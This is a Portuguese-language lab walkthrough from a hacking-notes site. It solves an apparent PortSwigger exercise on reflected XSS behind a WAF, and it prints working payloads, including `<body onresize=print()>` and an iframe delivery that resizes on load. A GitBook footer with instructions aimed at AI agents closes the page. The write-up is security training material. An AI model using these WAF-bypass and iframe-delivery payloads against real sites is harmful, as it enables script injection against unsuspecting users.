> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-in-html-with-blocked-tags.md).

# XSS Refletido em HTML com Tags Bloqueadas

### XSS refletido no contexto HTML com a maioria das tags e atributos bloqueados

Este laboratório contém uma vulnerabilidade de XSS refletido no recurso de pesquisa, mas um Firewall de Aplicação (WAF) bloqueia os vetores de XSS mais comuns. / Para resolver o laboratório, você deve contornar o WAF e acionar o `print()` função.

* Tentando payloads clássicos como `<h1>test</h1>`, `<img`  ou `<script` a resposta é: "Tag is not allowed".

```html
<h1>test</h1>
<img
<script
...
```

<figure><img src="/files/7de65a59b8c90c682c7abca5046554a02cfbea00" alt=""><figcaption></figcaption></figure>

* Interceptei a página com o Burp Suite e iniciei um envio em massa via Intruder.

<figure><img src="/files/b4d949ef4d7990acbe243a82083021ee97d3037f" alt=""><figcaption></figcaption></figure>

Copiei os tipos de atributos de evento (manipuladores de eventos) e testei vários deles na cheatsheet do PortSwigger.

<figure><img src="/files/c5dc878b09440f2a964dfecc23d986b8889b4774" alt=""><figcaption></figcaption></figure>

* J

<figure><img src="/files/95906c47aa02a2dde616abdb9144834ffa9de315" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5b6325a71d849bbda3b7477f59ac4f14a11e3825" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/463679fb0d934d447a7478e52d41fda435eb7d70" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/18f583bd2bf25bb9fbc5779b2522ba38001f9be4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/42e0e1aa1e265780147500c64724938f111d7f62" alt=""><figcaption></figcaption></figure>

```
<body test=1>
```

<figure><img src="/files/c0fce1d851e952d6c9cfed6323f421af35f974d1" alt=""><figcaption></figcaption></figure>

* Filtrei/testei vários atributos de eventos e me concentrei em `onresize`.

```javascript
<body onresize=alert(0)>
```

Payload testado e operado:

* Injeção direta: `<body onresize=alert(0)>` — ao redimensionar (roda de zoom), o alerta aparece.

<figure><img src="/files/9515bb3daa13d339c9e04760613182c3c686d2de" alt=""><figcaption></figcaption></figure>

Objetivo final: chamar `print()` em vez de `alert()`:

```javascript
<body onresize=print()>
```

<figure><img src="/files/dc10d3b8fbe1b952a264cddbfb33920169c32c28" alt=""><figcaption></figcaption></figure>

URL de exploração enviada à vítima:

```javascript
https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=
```

Entrega via iframe e acionamento automático:

* Para forçar o `onresize` evento a carregar no frame, a largura do frame é alterada a partir de seu `onload` atributo:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>"</iframe>
```

{% endcode %}

<figure><img src="/files/3038429ed5b0da35f0db29482cbe07d9169ea7e3" alt=""><figcaption></figcaption></figure>

e versão com ajuste de largura no carregamento:

{% code overflow="wrap" %}

```javascript
<iframe id="myframe" src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>" onload=this.style.width='100px'></iframe>
```

{% endcode %}

<figure><img src="/files/ef46e6e7d62bd988dfc07703f6e5c5fe6d951943" alt=""><figcaption></figcaption></figure>

Resumo: bypass do WAF injetando um atributo de evento permitido (`onresize`) que chama `print()`, depois entrega via iframe com `onload` que altera o tamanho para disparar `onresize`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-in-html-with-blocked-tags.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
